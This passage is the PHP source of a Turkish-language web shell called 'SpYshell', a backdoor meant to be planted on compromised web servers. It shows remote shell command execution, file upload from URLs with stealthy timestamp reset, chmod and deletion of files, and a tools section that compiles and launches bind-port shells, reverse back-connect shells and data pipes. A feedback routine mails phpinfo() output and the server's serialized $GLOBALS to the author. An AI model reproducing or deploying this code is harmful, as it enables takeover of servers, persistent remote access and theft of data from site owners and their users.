E-mail: ".htmlspecialchars($fdbk_email)."
Message:
".htmlspecialchars($fdbk_body)."

IP: ".$REMOTE_ADDR;
  if (!empty($fdbk_ref))
  {
   $tmp = @ob_get_contents();
   ob_clean();
   phpinfo();
   $phpinfo = base64_encode(ob_get_contents());
   ob_clean();
   echo $tmp;
   $body .= "
"."phpinfo(): ".$phpinfo."
"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."
";
  }
  mail($suppmail,"SpYshell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
  echo "<center><b>Tesekkurler kullanici id: ".$ticket.".</b></center>";
 }
 else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Geri besleme veya report sorun acar (".str_replace($suppmail)."[email protected]):<br><br>Adin: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>e-mail Adresin : <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Mesajin :<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Server-bilgiyi ba?la* <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br><br><input type=\"submit\" name=\"submit\" value=\"Gonder\"></form>";}
}
if ($act == "search")
{
 echo "<b>Sistem Dosyalarinda Ara:</b><br>";
 if (empty($search_in)) {$search_in = $d;}
 if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
 if (empty($search_text_wwo)) {$search_text_regexp = 0;}
 if (!empty($submit))
 {
  $found = array();
  $found_d = 0;
  $found_f = 0;
  $search_i_f = 0;
  $search_i_d = 0;
  $a = array
  (
   "name"=>$search_name, "name_regexp"=>$search_name_regexp,
   "text"=>$search_text, "text_regexp"=>$search_text_regxp,
   "text_wwo"=>$search_text_wwo,
   "text_cs"=>$search_text_cs,
   "text_not"=>$search_text_not
  );
  $searchtime = getmicrotime();
  $in = array_unique(explode(";",$search_in));
  foreach($in as $v) {ashfsearch($v);}
  $searchtime = round(getmicrotime()-$searchtime,4);
  if (count($found) == 0) {echo "<b>Dosya Bulunamadi!</b>";}
  else
  {
   $ls_arr = $found;
   $disp_fullpath = true;
   $act = "ls";
  }
 }
 echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
 if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($act == "chmod")
{
 $mode = fileperms($d.$f);
 if (!$mode) {echo "<b>Hata Dosya Degismedi:</b> Simdiki Value deigistirilemedi";}
 else
 {
  $form = true;
  if ($chmod_submit)
  {
   $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
   if (chmod($d.$f,$octet)) {$act = "ls"; $form = false; $err = "";}
   else {$err = "Can\'t chmod to ".$octet.".";}
  }
  if ($form)
  {
   $perms = parse_perms($mode);
   echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Hata:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Yazma<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">Uygulanamadi!</td><td><b>Grup</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">Uygulanamadi!</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Okuma<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">Uygulanamadi!</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  }
 }
}
if ($act == "upload")
{
 $uploadmess = "";
 $uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
 if (empty($uploadpath)) {$uploadpath = $d;}
 elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
 if (!empty($submit))
 {
  global $HTTP_POST_FILES;
  $uploadfile = $HTTP_POST_FILES["uploadfile"];
  if (!empty($uploadfile["tmp_name"]))
  {
   if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
   else {$destin = $userfilename;}
   if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Hata Yuklenen Dosya ".$uploadfile["name"]." (can\'t copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  }
  elseif (!empty($uploadurl))
  {
   if (!empty($uploadfilename)) {$destin = $uploadfilename;}
   else
   {
    $destin = explode("/",$destin);
    $destin = $destin[count($destin)-1];
    if (empty($destin))
    {
     $i = 0;
     $b = "";
     while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
   }
   if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Yanlis URL!
</b><br>";}
   else
   {
    $st = getmicrotime();
    $content = @file_get_contents($uploadurl);
    $dt = round(getmicrotime()-$st,4);
    if (!$content) {$uploadmess .=  "Dosya Indirelemedi!<br>";}
    else
    {
     if ($filestealth) {$stat = stat($uploadpath.$destin);}
     $fp = fopen($uploadpath.$destin,"w");
     if (!$fp) {$uploadmess .= "Hata: Dosyaya Yazilamadi :( ".htmlspecialchars($destin)."!<br>";}
     else
     {
      fwrite($fp,$content,strlen($content));
      fclose($fp);
      if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
     }
    }
   }
  }
 }
 if ($miniform)
 {
  echo "<b>".$uploadmess."</b>";
  $act = "ls";
 }
 else
 {
  echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload(Yukle)\">
</form>";
 }
}
if ($act == "delete")
{
 $delerr = "";
 foreach ($actbox as $v)
 {
  $result = false;
  $result = fs_rmobj($v);
  if (!$result) {$delerr .= "Silinemedi! ".htmlspecialchars($v)."<br>";}
 }
 if (!empty($delerr)) {echo "<b>Hatalari Sil(s):</b><br>".$delerr;}
 $act = "ls";
}
if (!$usefsbuff)
{
 if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Tampon Kapali olduhu icin Yoll!!! \"\$useFSbuff\" Dogru ;)</center>";}
}
else
{
 if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ash_sess_put($sess_data); $act = "ls"; }
 elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ash_sess_put($sess_data); $act = "ls";}
 elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ash_sess_put($sess_data); $act = "ls";}
 if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ash_sess_put($sess_data);}
 elseif ($actpastebuff)
 {
  $psterr = "";
  foreach($sess_data["copy"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_copy_obj($v,$to)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";}
   if ($copy_unset) {unset($sess_data["copy"][$k]);}
  }
  foreach($sess_data["cut"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_move_obj($v,$to)) {$psterr .= "Yapistirilamadi!! ".$v." to ".$to."!<br>";}
   unset($sess_data["cut"][$k]);
  }
  ash_sess_put($sess_data);
  if (!empty($psterr)) {echo "<b>Yapistirma Hatasi (S):</b><br>".$psterr;}
  $act = "ls";
 }
 elseif ($actarcbuff)
 {
  $arcerr = "";
  if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  else {$ext = ".tar.gz";}
  if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  $cmdline .= " ".$actarcbuff_path;
  $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  foreach($objects as $v)
  {
   $v = str_replace("\",DIRECTORY_SEPARATOR,$v);
   if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
   if (is_dir($v))
   {
    if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
    $v .= "*";
   }
   $cmdline .= " ".$v;
  }
  $tmp = realpath(".");
  chdir($d);
  $ret = myshellexec($cmdline);
  chdir($tmp);
  if (empty($ret)) {$arcerr .= "Arsiv Aranamiyor (Hata:3)beta By KingDefacer (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  $ret = str_replace("
","
",$ret);
  $ret = explode("
",$ret);
  if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  foreach($sess_data["cut"] as $k=>$v)
  {
   if (in_array($v,$ret)) {fs_rmobj($v);}
   unset($sess_data["cut"][$k]);
  }
  ash_sess_put($sess_data);
  if (!empty($arcerr)) {echo "<b>Arsivator Hatasi:</b><br>".$arcerr;}
  $act = "ls";
 }
 elseif ($actpastebuff)
 {
  $psterr = "";
  foreach($sess_data["copy"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_copy_obj($v,$d)) {$psterr .= "Kopyalanamadi!! ".$v." to ".$to."!<br>";}
   if ($copy_unset) {unset($sess_data["copy"][$k]);}
  }
  foreach($sess_data["cut"] as $k=>$v)
  {
   $to = $d.basename($v);
   if (!fs_move_obj($v,$d)) {$psterr .= "Yapistirilamadi! ".$v." to ".$to."!<br>";}
   unset($sess_data["cut"][$k]);
  }
  ash_sess_put($sess_data);
  if (!empty($psterr)) {echo "<b>Yapistirma Hatasi:</b><br>".$psterr;}
  $act = "ls";
 }
}
if ($act == "cmd")
{
if (trim($cmd) == "ps -aux") {$act = "processes";}
elseif (trim($cmd) == "tasklist") {$act = "processes";}
else
{
 @chdir($chdir);
 if (!empty($submit))
 {
  echo "<b>Ugulamanin Sonuclari</b>:<br>";
  $olddir = realpath(".");
  @chdir($d);
  $ret = myshellexec($cmd);
  $ret = convert_cyr_string($ret,"d","w");
  if ($cmd_txt)
  {
   $rows = count(explode("
",$ret))+1;
   if ($rows < 10) {$rows = 10;}
   echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  }
  else {echo $ret."<br>";}
  @chdir($olddir);
 }
 else {echo "<b>Uygulama Yonet </b>"; if (empty($cmd_txt)) {$cmd_txt = true;}}
 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Tamam\">&nbsp;Metni Alan icinde goster&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == "ls")
{
 if (count($ls_arr) > 0) {$list = $ls_arr;}
 else
 {
  $list = array();
  if ($h = @opendir($d))
  {
   while (($o = readdir($h)) !== false) {$list[] = $d.$o;}
   closedir($h);
  }
  else {}
 }
 if (count($list) == 0) {echo "<center><b>Klasor Acilamiyor. (".htmlspecialchars($d).")!</b></center>";}
 else
 {
  //Building array
  $objects = array();
  $vd = "f"; //Viewing mode
  if ($vd == "f")
  {
   $objects["head"] = array();
   $objects["folders"] = array();
   $objects["links"] = array();
   $objects["files"] = array();
   foreach ($list as $v)
   {
    $o = basename($v);
    $row = array();
    if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
    elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
    elseif (is_dir($v))
    {
     if (is_link($v)) {$type = "LINK";}
     else {$type = "DIR";}
     $row[] = $v;
     $row[] = $type;
    }
    elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
    $row[] = filemtime($v);
    if (!$win)
    {
     $ow = posix_getpwuid(fileowner($v));
     $gr = posix_getgrgid(filegroup($v));
     $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
    }
    $row[] = fileperms($v);
    if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
    elseif (is_link($v)) {$objects["links"][] = $row;}
    elseif (is_dir($v)) {$objects["folders"][] = $row;}
    elseif (is_file($v)) {$objects["files"][] = $row;}
    $i++;
   }
   $row = array();
   $row[] = "<b>Isim</b>";
   $row[] = "<b>Boyut</b>";
   $row[] = "<b>Degistirme</b>";
   if (!$win)
  {$row[] = "<b>Sahip/Grup</b>";}
   $row[] = "<b>Permissions(Yetki)</b>";
   $row[] = "<b>Oznitelik</b>";
   $parsesort = parsesort($sort);
   $sort = $parsesort[0].$parsesort[1];
   $k = $parsesort[0];
   if ($parsesort[1] != "a") {$parsesort[1] = "d";}
   $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
   $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
   $row[$k] .= $y;
   for($i=0;$i<count($row)-1;$i++)
   {
    if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
   }
   $v = $parsesort[0];
   usort($objects["folders"], "tabsort");
   usort($objects["links"], "tabsort");
   usort($objects["files"], "tabsort");
   if ($parsesort[1] == "d")
   {
    $objects["folders"] = array_reverse($objects["folders"]);
    $objects["files"] = array_reverse($objects["files"]);
   }
   $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
   $tab = array();
   $tab["cols"] = array($row);
   $tab["head"] = array();
   $tab["folders"] = array();
   $tab["links"] = array();
   $tab["files"] = array();
   $i = 0;
   foreach ($objects as $a)
   {
    $v = $a[0];
    $o = basename($v);
    $dir = dirname($v);
    if ($disp_fullpath) {$disppath = $v;}
    else {$disppath = $o;}
    $disppath = str2mini($disppath,60);
    if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
    elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
    foreach ($regxp_highlight as $r)
    {
     if (ereg($r[0],$o))
     {
      if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Uyari! Konfigirasyon i?inde hata \$regxp_highlight[".$k."][0] - Bilinmeyen Komut."; ashshexit();}
      else
      {
       $r[1] = round($r[1]);
       $isdir = is_dir($v);
       if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
       {
        if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
        $disppath = $r[2].$disppath.$r[3];
        if ($r[4]) {break;}
       }
      }
     }
    }
    $uo = urlencode($o);
    $ud = urlencode($dir);
    $uv = urlencode($v);
    $row = array();
    if ($o == ".")
    {
     $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif ($o == "..")
    {
     $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
     $row[] = "LINK";
    }
    elseif (is_dir($v))
    {
     if (is_link($v))
     {
      $disppath .= " => ".readlink($v);
      $type = "LINK";
      $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
     }
     else
     {
      $type = "DIR";
      $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
      }
     $row[] = $type;
    }
    elseif(is_file($v))
    {
     $ext = explode(".",$o);
     $c = count($ext)-1;
     $ext = $ext[$c];
     $ext = strtolower($ext);
     $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
     $row[] = view_size($a[1]);
    }
    $row[] = date("d.m.Y H:i:s",$a[2]);
    if (!$win) {$row[] = $a[3];}
    $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
    if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
    else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
    if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
    else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Bilgi\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Degistir\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Indir\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
    if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
    elseif (is_link($v)) {$tab["links"][] = $row;}
    elseif (is_dir($v)) {$tab["folders"][] = $row;}
    elseif (is_file($v)) {$tab["files"][] = $row;}
    $i++;
   }
  }
  //Compiling table
  $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  echo "<center><b>Listelenen (".count($tab["files"])." dosya ve ".(count($tab["folders"])+count($tab["links"]))." klasor):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  foreach($table as $row)
  {
   echo "<tr>
";
   foreach($row as $v) {echo "<td>".$v."</td>
";}
   echo "</tr>
";
  }
  echo "</table><hr size=\"1\" noshade><p align=\"right\">
  <script>
  function ls_setcheckboxall(status)
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById(\'actbox\'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 0;
   var num = ".(count($table)-2).";
   while (id <= num)
   {
    document.getElementById(\'actbox\'+id).checked = !document.getElementById(\'actbox\'+id).checked;
    id++;
   }
  }
  </script>
  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Hepsini Sec\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Hepsini Sec(ME)\"> 
  <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
  if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff))
  {
   echo "<input type=submit name=actarcbuff value=\"Pack, arsivi korur\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Yapistir\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Bos tampon\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  }
  echo "<select name=act><option value=\"".$act."\">(Secin):</option>";
  echo "<option value=delete".($dspact == "delete"?" selected":"").">SiL</option>";
  echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Mod Degistir</option>";
  if ($usefsbuff)
  {
   echo "<option value=cut".($dspact == "cut"?" selected":"").">KES</option>";
   echo "<option value=copy".($dspact == "copy"?" selected":"").">KOPYALA</option>";
   echo "<option value=unselect".($dspact == "unselect"?" selected":"").">SECME(Unselect)</option>";
  }
  echo "</select>&nbsp;<input type=submit value=\"OK!\"></p>";
  echo "</form>";
 }
}
if ($act == "tools")
{
 $bndportsrcs = array(
  "ashsh_bindport.pl"=>array("PERL Kullan","perl %path %port"),
  "ashsh_bindport.c"=>array("C Kullan","%path %port %pass")
 );
 $bcsrcs = array(
  "ashsh_backconn.pl"=>array("PERL Kullan","perl %path %host %port"),
  "ashsh_backconn.c"=>array("C Kullan","%path %host %port")
 );
 $dpsrcs = array(
  "ashsh_datapipe.pl"=>array("PERL Kullan","perl %path %localport %remotehost %remoteport"),
  "ashsh_datapipe.c"=>array("C Kullan","%path %localport %remoteport %remotehost")
 );
 if (!is_array($bind)) {$bind = array();}
 if (!is_array($bc)) {$bc = array();}
 if (!is_array($datapipe)) {$datapipe = array();}
 
 if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;}
 if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;}
  
 if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");}
 if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;}
 
 if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";}
 if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;}
 if (!empty($bindsubmit))
 {
  echo "<b>Port Baglanti sonucu:</b><br>";
  $v = $bndportsrcs[$bind["src"]];
  if (empty($v)) {echo "Unknown file!<br>";}
  elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor,diger port Seciniz!<br>";}
  else
  {
   $w = explode(".",$bind["src"]);
   $ext = $w[count($w)-1];
   unset($w[count($w)-1]);
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;
   $binpath = $tmpdir.join(".",$w).rand(0,999);
   if ($ext == "pl") {$binpath = $srcpath;}
   @unlink($srcpath);
   $fp = fopen($srcpath,"ab+");
   if (!$fp) {echo "Kaynak Koduna Yazilamadi--> \"".$srcpath."\"!<br>";}
   elseif (!$data = ashgetsource($bind["src"])) {echo "Kaynak Kodu Indirilemedi!";}
   else
   {
    fwrite($fp,$data,strlen($data));
    fclose($fp);
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath);  @unlink($srcpath);}
    $v[1] = str_replace("%path",$binpath,$v[1]);
    $v[1] = str_replace("%port",$bind["port"],$v[1]);
    $v[1] = str_replace("%pass",$bind["pass"],$v[1]);
    $v[1] = str_replace("//","/",$v[1]);
    $retbind = myshellexec($v[1]." > /dev/null &");
    sleep(5);
    $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5);
    if (!$sock) {echo "Baglanilamadi localhost a :".$bind["port"]."! Friwall ini kontrol Etmeni Dusunuyorum";}
    else {echo "Baglaniyor.......Tamam! Baglandi..--> <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>!NetCat?\'i Kullanio..\"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>Baglamalari gor!!</u></a></center>";}
   }
   echo "<br>";
  }
 }
 if (!empty($bcsubmit))
 {
  echo "<b>Eski Baglanti Sonuclari:</b><br>";
  $v = $bcsrcs[$bc["src"]];
  if (empty($v)) {echo "Unknown file!<br>";}
  else
  {
   $w = explode(".",$bc["src"]);
   $ext = $w[count($w)-1];
   unset($w[count($w)-1]);
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;
   $binpath = $tmpdir.join(".",$w).rand(0,999);
   if ($ext == "pl") {$binpath = $srcpath;}
   @unlink($srcpath);
   $fp = fopen($srcpath,"ab+");
   if (!$fp) {echo "Kaynak Koduna Yazilamadi ---> \"".$srcpath."\"!<br>";}
   elseif (!$data = ashgetsource($bc["src"])) {echo "Kaynak Kodu indirilemedi!!!!";}
   else
   {
    fwrite($fp,$data,strlen($data));
    fclose($fp);
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
    $v[1] = str_replace("%path",$binpath,$v[1]);
    $v[1] = str_replace("%host",$bc["host"],$v[1]);
    $v[1] = str_replace("%port",$bc["port"],$v[1]);
    $v[1] = str_replace("//","/",$v[1]);
    $retbind = myshellexec($v[1]." > /dev/null &");
    echo "Su an ki Script tekrar dene ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>";
   }
  }
 }
 if (!empty($dpsubmit))
 {
  echo "<b>Datapipe Sonuclari:</b><br>";
  $v = $dpsrcs[$datapipe["src"]];
  if (empty($v)) {echo "Bilinmeyen Dosya!<br>";}
  elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port Kullaniliyor Baska port Secin!<br>";}
  else
  {
   $srcpath = $tmpdir.$datapipe["src"];
   $w = explode(".",$datapipe["src"]);
   $ext = $w[count($w)-1];
   unset($w[count($w)-1]);
   $srcpath = join(".",$w).".".rand(0,999).".".$ext;
   $binpath = $tmpdir.join(".",$w).rand(0,999);
   if ($ext == "pl") {$binpath = $srcpath;}
   @unlink($srcpath);
   $fp = fopen($srcpath,"ab+");
   if (!$fp) {echo "Can\'t write sources to \"".$srcpath."\"!<br>";}
   elseif (!$data = ashgetsource($datapipe["src"])) {echo "Kaynak Kodu indirilemedi!";}
   else
   {
    fwrite($fp,$data,strlen($data));
    fclose($fp);
    if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);}
    list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]);
    $v[1] = str_replace("%path",$binpath,$v[1]);
    $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]);
    $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]);
    $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]);
